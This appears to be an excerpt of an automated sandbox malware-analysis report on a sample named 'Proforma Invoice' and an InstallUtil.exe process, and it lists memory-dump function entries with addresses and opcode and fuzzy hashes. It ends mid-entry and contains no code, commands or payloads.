Function 06DDDDA0 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2481354113.0000000006DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6dc0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de811be2351ef0c6d936989e9db7fa83d50a898014631dcef18b8efa41fce005
Instruction ID: 9ecfb378f1643b15f465f85b400d1eed3672f05d8feac3205397b6edcc0bc152
Opcode Fuzzy Hash: de811be2351ef0c6d936989e9db7fa83d50a898014631dcef18b8efa41fce005
Instruction Fuzzy Hash: 14E0C974E04208EFCB84DFA8D940AACBBF5EB88310F10C0A9981893351D6319A51DF80

Function 06DDBF58 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2481354113.0000000006DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6dc0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de811be2351ef0c6d936989e9db7fa83d50a898014631dcef18b8efa41fce005
Instruction ID: afafcf3f47f9ba3c159f0230201cc5fab1a0160b74e6ba8505461e0793036b34
Opcode Fuzzy Hash: de811be2351ef0c6d936989e9db7fa83d50a898014631dcef18b8efa41fce005
Instruction Fuzzy Hash: 20E0C9B9D04208EFCB94DFA8D5406ACBBF4FB48314F10C0EA985893351D6329A52DF80

Function 06DD5F68 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2481354113.0000000006DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6dc0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de811be2351ef0c6d936989e9db7fa83d50a898014631dcef18b8efa41fce005
Instruction ID: 4fed62e9d3c396ec3980a4affbd814528c30330ce145ed20d470a8d726b1aa87
Opcode Fuzzy Hash: de811be2351ef0c6d936989e9db7fa83d50a898014631dcef18b8efa41fce005
Instruction Fuzzy Hash: 05E0C9B5D05208EFCB84DFA8D5406ACBFF4FB48310F10C1E9985897351D6329A51DF80

Function 05A03F08 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2469774037.0000000005A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 059B0000, based on PE: true

Associated: 00000000.00000002.2469463430.00000000059B0000.00000004.08000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_59b0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df5563af9b0b8050f67fe6c51c0e3a04dcc55f2e72fc623ebb248297c870dc8a
Instruction ID: 76ff75633004dab60015b9b1ae4bb230bcaa946be70d876239562adf07522520
Opcode Fuzzy Hash: df5563af9b0b8050f67fe6c51c0e3a04dcc55f2e72fc623ebb248297c870dc8a
Instruction Fuzzy Hash: E7E0ED35908108EBCF05DF94E9409ADBF79FB49311F10D499EC1917391C7329A61EB91

Function 05A03660 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2469774037.0000000005A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 059B0000, based on PE: true

Associated: 00000000.00000002.2469463430.00000000059B0000.00000004.08000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_59b0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df5563af9b0b8050f67fe6c51c0e3a04dcc55f2e72fc623ebb248297c870dc8a
Instruction ID: c99293ed0dbd24280e8db093caca6c7b39c4d1982f05faa89fa90f701eed6852
Opcode Fuzzy Hash: df5563af9b0b8050f67fe6c51c0e3a04dcc55f2e72fc623ebb248297c870dc8a
Instruction Fuzzy Hash: E7E0ED35908108EBCF05DF94E940DADBF76FB49310F109499EC1517391C7329A61EB95

Function 05A01268 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2469774037.0000000005A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 059B0000, based on PE: true

Associated: 00000000.00000002.2469463430.00000000059B0000.00000004.08000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_59b0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aeb4ac01d2f7a6861a7c7441053ebffcb0639844e58c5fa76fea032a59cbd01f
Instruction ID: 31ecf33d78be570405c94f8697b0d6ec86546161e36763047a3fc0e9d7fab031
Opcode Fuzzy Hash: aeb4ac01d2f7a6861a7c7441053ebffcb0639844e58c5fa76fea032a59cbd01f
Instruction Fuzzy Hash: F3E03974809108AFCB80DF98D900AACBFB8EB49300F10C0AAEC5892381C6319A11DB90

Function 06DDF000 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2481354113.0000000006DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6dc0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b53983c677107793ee567bdf3b70024d5b6bd1b146775279749aaee48159922f
Instruction ID: 832a323c13e0a3c3b73778e2f4aa48317ac87bd0a92d7e832ea382097e97d0da
Opcode Fuzzy Hash: b53983c677107793ee567bdf3b70024d5b6bd1b146775279749aaee48159922f
Instruction Fuzzy Hash: 5AE01A74D492089FD744EBB8D6497ADBBB8EB45202F1040A99949A3341DA745A40C795

Function 06DDA428 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2481354113.0000000006DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6dc0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 73f5fd3c1883d71c06f8e850aa13c4917b86e21e3cd96fe1e9a5f598e634e169
Instruction ID: f2b930416fb7cbc1693d5173b804fb4b431705871f2b46256f11334069adaf1a
Opcode Fuzzy Hash: 73f5fd3c1883d71c06f8e850aa13c4917b86e21e3cd96fe1e9a5f598e634e169
Instruction Fuzzy Hash: B2E0E574E05208EFCB84EFA8D5456ACBBF8EB48200F14C0E9C81C93341DB719A02CF81

Function 06DDF5C8 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2481354113.0000000006DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6dc0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 73f5fd3c1883d71c06f8e850aa13c4917b86e21e3cd96fe1e9a5f598e634e169
Instruction ID: e919161dd396b9f98adb869c30b752e955d3fcb50c6bed348fd8f85fe0b8b211
Opcode Fuzzy Hash: 73f5fd3c1883d71c06f8e850aa13c4917b86e21e3cd96fe1e9a5f598e634e169
Instruction Fuzzy Hash: 99E0E5B4E04208EFCB84EFA8D5406ACBBF8EB48300F10C0E9C81993341D7319A02CF80

Function 06DDA570 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2481354113.0000000006DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6dc0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 73f5fd3c1883d71c06f8e850aa13c4917b86e21e3cd96fe1e9a5f598e634e169
Instruction ID: 6199c8862c2631ce5d811666986f97e86ee10656ffbb66e7b3379d73ee029355
Opcode Fuzzy Hash: 73f5fd3c1883d71c06f8e850aa13c4917b86e21e3cd96fe1e9a5f598e634e169
Instruction Fuzzy Hash: 4EE0E574E05208EFCB84EFA8D5406ACBBF8FB48300F14C0E9881897341E6319E02CF81

Function 05A00F88 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2469774037.0000000005A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 059B0000, based on PE: true

Associated: 00000000.00000002.2469463430.00000000059B0000.00000004.08000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_59b0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4786ca8aed6aa90f5674299960314437aa151ce023ef26528fa1bb33a54f68e
Instruction ID: 91041c9d237c81371fd21deabadf0d79ac662f314876b92351c5e474c13ca86e
Opcode Fuzzy Hash: f4786ca8aed6aa90f5674299960314437aa151ce023ef26528fa1bb33a54f68e
Instruction Fuzzy Hash: 37E0C974D08208EFC744DFA8D544AACBBF4FB49300F1080A9981893341D6319A02DB41

Function 008EE5E8 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2453562127.00000000008E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8e0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b680939138cafe2a6307696c4212c4fc5d95543f5d316ba045a4b22f11283bce
Instruction ID: cecdf602e75ce5f123c64f2361cf116112d67139f21d4728969f4a237373271d
Opcode Fuzzy Hash: b680939138cafe2a6307696c4212c4fc5d95543f5d316ba045a4b22f11283bce
Instruction Fuzzy Hash: 44E0DF74808218ABC710CF94D90096CBFB8FB56304F208099D80893351C6319A02DB90

Function 06DD8B50 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2481354113.0000000006DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6dc0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94dab061ce17172cd691cd75b5bcce3246622dff8cdfbb471605b7e1a9856be5
Instruction ID: c7894bd53b485dd28477500adae56b32350f06be8e9dd3198b61562d174fb020
Opcode Fuzzy Hash: 94dab061ce17172cd691cd75b5bcce3246622dff8cdfbb471605b7e1a9856be5
Instruction Fuzzy Hash: A5E04F74D08208EFCB44DF98D5416BCFFB8EB49200F1480E9C85957381C6319A02DB84

Function 05A01158 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2469774037.0000000005A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 059B0000, based on PE: true

Associated: 00000000.00000002.2469463430.00000000059B0000.00000004.08000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_59b0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 987bce076d010543d4890352ac77067e7d67792ffa07bac2c3750e93c0410705
Instruction ID: c7ec486874a6140b8d0139851a440440420577599d64bd1b11c8fcb058629977
Opcode Fuzzy Hash: 987bce076d010543d4890352ac77067e7d67792ffa07bac2c3750e93c0410705
Instruction Fuzzy Hash: 72E08674908208EBC704DF94E9409ACBFF9FB45310F10909DDC0413391C7319E52DB84

Function 008ECE50 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2453562127.00000000008E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8e0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f45c3d9dc7974876caaf4e14db40b2f2adc6544b3f96b63eaff1c1f0bc35987
Instruction ID: 16b068633fd230cfc0e47e847e5bfb0ce10afc7bcfe99102b594e5e3c897392e
Opcode Fuzzy Hash: 5f45c3d9dc7974876caaf4e14db40b2f2adc6544b3f96b63eaff1c1f0bc35987
Instruction Fuzzy Hash: 13E08C71804208DFD740EFE4C90469A7BB8EB06211F0001A5E40993250EF315A00D7A5

Function 06DDE2B0 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2481354113.0000000006DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6dc0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6c29c96c7e62e18942949512966d703d6436895528b214c6b0a83a24e4467b1
Instruction ID: 81e3c1643821f6154e3eb64df344b556294eb670c37f288d21c1a50382aadfb8
Opcode Fuzzy Hash: d6c29c96c7e62e18942949512966d703d6436895528b214c6b0a83a24e4467b1
Instruction Fuzzy Hash: C3E01274D09208DFD754EF94D94156CBFB9FB46315F2081D9C80917351C7319E46DB85

Function 06DDB6B0 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2481354113.0000000006DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6dc0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 857adc1836722b57549c932258d411813fb49c8eded1b74e24ec3a36ad66d7b6
Instruction ID: 551d4c661c863eeecbdbe64f3c28d8bc2e75b37829a9ebd81db52846e341cb2e
Opcode Fuzzy Hash: 857adc1836722b57549c932258d411813fb49c8eded1b74e24ec3a36ad66d7b6
Instruction Fuzzy Hash: 7FE012B1C05108EFC790FFF9C90066E7FF9EB46210F5105E5A50597251EA314A04D796

Function 05A01C10 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2469774037.0000000005A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 059B0000, based on PE: true

Associated: 00000000.00000002.2469463430.00000000059B0000.00000004.08000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_59b0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74bcfcfe6be95681bc399a690e932b76861157d41a6d8e14b72265f0bbafbcf9
Instruction ID: b33ca204378d42d62b5285526bd57ad52ae5166e41b6996dd3ed87920ee74846
Opcode Fuzzy Hash: 74bcfcfe6be95681bc399a690e932b76861157d41a6d8e14b72265f0bbafbcf9
Instruction Fuzzy Hash: A1E0EC74909208DBC704DB94E9419ACBBB9BB45315F2095D9C81917391D6319E42DB85

Function 05A01448 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2469774037.0000000005A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 059B0000, based on PE: true

Associated: 00000000.00000002.2469463430.00000000059B0000.00000004.08000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_59b0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74bcfcfe6be95681bc399a690e932b76861157d41a6d8e14b72265f0bbafbcf9
Instruction ID: 09df69920a979b213444ffbe6313b28c534dc0205bf91cc65128f255ff8a9a7f
Opcode Fuzzy Hash: 74bcfcfe6be95681bc399a690e932b76861157d41a6d8e14b72265f0bbafbcf9
Instruction Fuzzy Hash: 20E0C274D08208EBC704DF94E9409ACBFB8FB45305F2090DCC80827391CB329E02CB81

Function 05A00860 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2469774037.0000000005A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 059B0000, based on PE: true

Associated: 00000000.00000002.2469463430.00000000059B0000.00000004.08000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_59b0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e8a2eb9ceec923b87d98cafa0a8d79a8cfae1f7c7ebd2a82758c07f340b0460
Instruction ID: a911181741cedb60ecf12392c03d5efe726e2a655cafddd3d7b9c6dd483e63ac
Opcode Fuzzy Hash: 3e8a2eb9ceec923b87d98cafa0a8d79a8cfae1f7c7ebd2a82758c07f340b0460
Instruction Fuzzy Hash: 95E08C34808208DFC704DBA8D54476CBFB8BB45201F1080D9C84853391D631DA06CB81

Function 008E0848 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2453562127.00000000008E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8e0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bcf515542608614582ae36a57760fe03a9bb66eec784a56968b3a4d1dace3176
Instruction ID: 63ccc92c79af8a4916e981c416dfbe114b1e961474ebac3a6b127ea60dfe4338
Opcode Fuzzy Hash: bcf515542608614582ae36a57760fe03a9bb66eec784a56968b3a4d1dace3176
Instruction Fuzzy Hash: E2D01230A0110CEF8B00DFB8E95165D77B5FB45210B1041A99508D7210EA315F049B81

Function 008EF2C8 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2453562127.00000000008E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8e0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33d3030a2d7933826c8033b41792c3dc00229e821b72d7e7a0597671cfd84062
Instruction ID: 17a941d5c7d66e9ddf3a5b60e030d5deaeffb86b6da0ef04c349c0145b167a4e
Opcode Fuzzy Hash: 33d3030a2d7933826c8033b41792c3dc00229e821b72d7e7a0597671cfd84062
Instruction Fuzzy Hash: 36D0C73354632867D63555A65C01F96771C9B15BA1F054066FB046F78081B17940D7D4

Function 06DC8DE9 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2481354113.0000000006DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6dc0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d535cc24979fe8e178b1224fd2769f951da17df4c8502cb7e7e14abc5253b26a
Instruction ID: fc7045f5768c4909d952667d682805551cb63d30ec7ef9de01beafdbfa23397e
Opcode Fuzzy Hash: d535cc24979fe8e178b1224fd2769f951da17df4c8502cb7e7e14abc5253b26a
Instruction Fuzzy Hash: 7CD05E70608209CFD3119B28D49CB6A7AA2FB49308F2444D9A06DCB286CF754A869B56

Function 06DDE758 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2481354113.0000000006DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6dc0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1cf4fae0d3f6b8e371bfe3b22a98a62831e1d85585a74ee44709edbdcb57296f
Instruction ID: 8696f7c60a73a852dc9f2a86f85e09f70474c46cb8f80e439cccc5a85d778d6d
Opcode Fuzzy Hash: 1cf4fae0d3f6b8e371bfe3b22a98a62831e1d85585a74ee44709edbdcb57296f
Instruction Fuzzy Hash: 73C08C3184E204ABE2D83344A7083703BACA30220AF001854D40D040638AA08000C294

Function 008ECC80 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2453562127.00000000008E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8e0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1073535ea71e20b705f0ae94f08213a714bac9e48e287e725dea46e9cb5faeb
Instruction ID: f116600870d119b9eded4d6979f21c2edb2f0d8799016f540f4fcb9779acc523
Opcode Fuzzy Hash: c1073535ea71e20b705f0ae94f08213a714bac9e48e287e725dea46e9cb5faeb
Instruction Fuzzy Hash: B2C08C72014704CBD2A83FA6AA0E3783E6CBB02216F400150F01C811E25F704802C7AA

Non-executed Functions

Function 059B6E5B Relevance: 1.6, Instructions: 1600COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2469463430.00000000059B0000.00000004.08000000.00040000.00000000.sdmp, Offset: 059B0000, based on PE: true

Associated: 00000000.00000002.2469774037.0000000005A00000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_59b0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8ef338a347d78b24a48a91f5c579d559d241ca399c22e27505efb135b2aab1a
Instruction ID: 78aa90774dd44d5aeba3b8ea43cde21101b399e5257f464fbcd54d90eff393d9
Opcode Fuzzy Hash: b8ef338a347d78b24a48a91f5c579d559d241ca399c22e27505efb135b2aab1a
Instruction Fuzzy Hash: 66C2B16240E3C25FE7138BB49EB66E17FB1EE9321471E0ADBD0C18F163E258554AC762

Function 06DDE2F0 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2481354113.0000000006DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6dc0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80d95453df38fc53435540dca7e75e8f0ea869460ab77d6603c4607651b40354
Instruction ID: 947c4adec1c2cd1375ffd232dea51d4f23b90241db340392d2869b4442471592
Opcode Fuzzy Hash: 80d95453df38fc53435540dca7e75e8f0ea869460ab77d6603c4607651b40354
Instruction Fuzzy Hash: 0B911670D05218CFEBA4EF69C844BEDBBB2BF49301F5494A9C11DAB251DB709985CF80

Function 008E90D1 Relevance: .2, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2453562127.00000000008E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8e0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8a550bee38b1de2f19aa4ab8531bed02984f4fd61bb8ba60a7a773612c0ec4f
Instruction ID: de70676b3a15c40cd05d357f2e5c7c6059816b0cd013f186b330bf7116f99d40
Opcode Fuzzy Hash: e8a550bee38b1de2f19aa4ab8531bed02984f4fd61bb8ba60a7a773612c0ec4f
Instruction Fuzzy Hash: 9C71EBB5E00645CBD748EF7AE850A9EBBF2FBCA300F14C529D0049B269EB74190ADB51

Function 008E90E0 Relevance: .2, Instructions: 165COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2453562127.00000000008E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8e0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e788509da8d51e3a0f2268ae81525f1d0e0d2309ee94e069fbde30dded04d6f9
Instruction ID: 7d3a9fd8f0d81a680b4a43b6733fa8cfe24df881caec2192abac2f195e4c0d98
Opcode Fuzzy Hash: e788509da8d51e3a0f2268ae81525f1d0e0d2309ee94e069fbde30dded04d6f9
Instruction Fuzzy Hash: AA71DCB4E00645CBD748EF6AE850A9EBBF2FBCA300F14C539D0049B279EB755906DB91

Function 06DC0040 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2481354113.0000000006DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6dc0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 95b7a0cdd03b76294f8d89b899da440fe6e600f5186b622f84b1bb9453654c56
Instruction ID: 42d119d7af9a883fb9c925a6b5bf0439900cf2596ad4907f90de6a9c131e160e
Opcode Fuzzy Hash: 95b7a0cdd03b76294f8d89b899da440fe6e600f5186b622f84b1bb9453654c56
Instruction Fuzzy Hash: 9831E771E04629CBEB68CF6BC844B99BAF6BFC8314F00C0EA944DA7254DB704A85CF51

Function 008E96F9 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2453562127.00000000008E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8e0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51c517f78144992d0af2b808679c010b7af9f67f4993532dea256e630e09ae2c
Instruction ID: 34bdb9fcd477d660c8f99935f03cd9d233c5091b0fe846d272c17caad8aeed7b
Opcode Fuzzy Hash: 51c517f78144992d0af2b808679c010b7af9f67f4993532dea256e630e09ae2c
Instruction Fuzzy Hash: F8319BB1D056188BEB18CF6BCD5478AFAF7BFC9304F14C1AAC54CA6264DB750A858F40

Function 06DC003A Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2481354113.0000000006DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6dc0000_Proforma Invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37f9fedfa1767e91415b61144d83b5407c96debdbd411fe26614951e27375122
Instruction ID: ffaa9769a468e0a51f5af0cc8d62245d0ed6fa37a53bc7bb5d41df9b69efcf27
Opcode Fuzzy Hash: 37f9fedfa1767e91415b61144d83b5407c96debdbd411fe26614951e27375122
Instruction Fuzzy Hash: 6021AAB1D04619CBEB29CF6BCD4439AFAF7AFC8304F04C1FA941CA6255D7700A858E51

Analysis Process: InstallUtil.exePID: 3412, Parent PID: 4004COMMON

Execution Graph

Execution Coverage:	13%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	51
Total number of Limit Nodes:	7

Executed Functions

Function 00B7AA13 Relevance: 2.7, Instructions: 2740COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2753774248.0000000000B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b70000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b77150bf2ecb498e99a341d5d91aab504aef6fbb0a2b005654d1f777b1c26565
Instruction ID: 6025f8b8b7dc751a7c9714b9794587a9d0103fc4d4c86d9c3a3d819e4bb9b42e
Opcode Fuzzy Hash: b77150bf2ecb498e99a341d5d91aab504aef6fbb0a2b005654d1f777b1c26565
Instruction Fuzzy Hash: DD53E531C10B5A8ACB51EF68C8806A9F7B1FF99300F51D79AE45877125EB70AAD4CF81

Function 00B7E205 Relevance: 2.0, Instructions: 1953COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2753774248.0000000000B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b70000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a292659fb9403f35220d1dd30dd8d6fad415e9d38cbf791667a5b140c8af196
Instruction ID: 86c4786b25b31e1e2849db9b12dcf06042872fd20a18ce4d26d607fac399aab3
Opcode Fuzzy Hash: 3a292659fb9403f35220d1dd30dd8d6fad415e9d38cbf791667a5b140c8af196
Instruction Fuzzy Hash: 5913EB31D10B1A8ACB11EF68C8945ADF7B1FF99300F15D79AE458B7221EB70AAC5CB41

Function 00B74178 Relevance: .3, Instructions: 281COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2753774248.0000000000B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b70000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 038bf971c1af7dae94b87a59aaeebaaa4fbfdcaab0b8b53204a610923220b936
Instruction ID: 4457777eee36e769fb7f857b34efb8fbcb630ff78e3968aadfaaeabf00631afa
Opcode Fuzzy Hash: 038bf971c1af7dae94b87a59aaeebaaa4fbfdcaab0b8b53204a610923220b936
Instruction Fuzzy Hash: ADB14C70E10219CFDB10CFA9C8857ADBBF2EF88305F14C169E829A7394EB749845CB85

Function 00B74A48 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2753774248.0000000000B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b70000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8354344a8c98a1dc4772ea764d333bc98aab891ac484ddede5b4e52c51afb214
Instruction ID: 3410ff2ecaa870491281806e065148520d1916505c1a09a2638ccc2fed583662
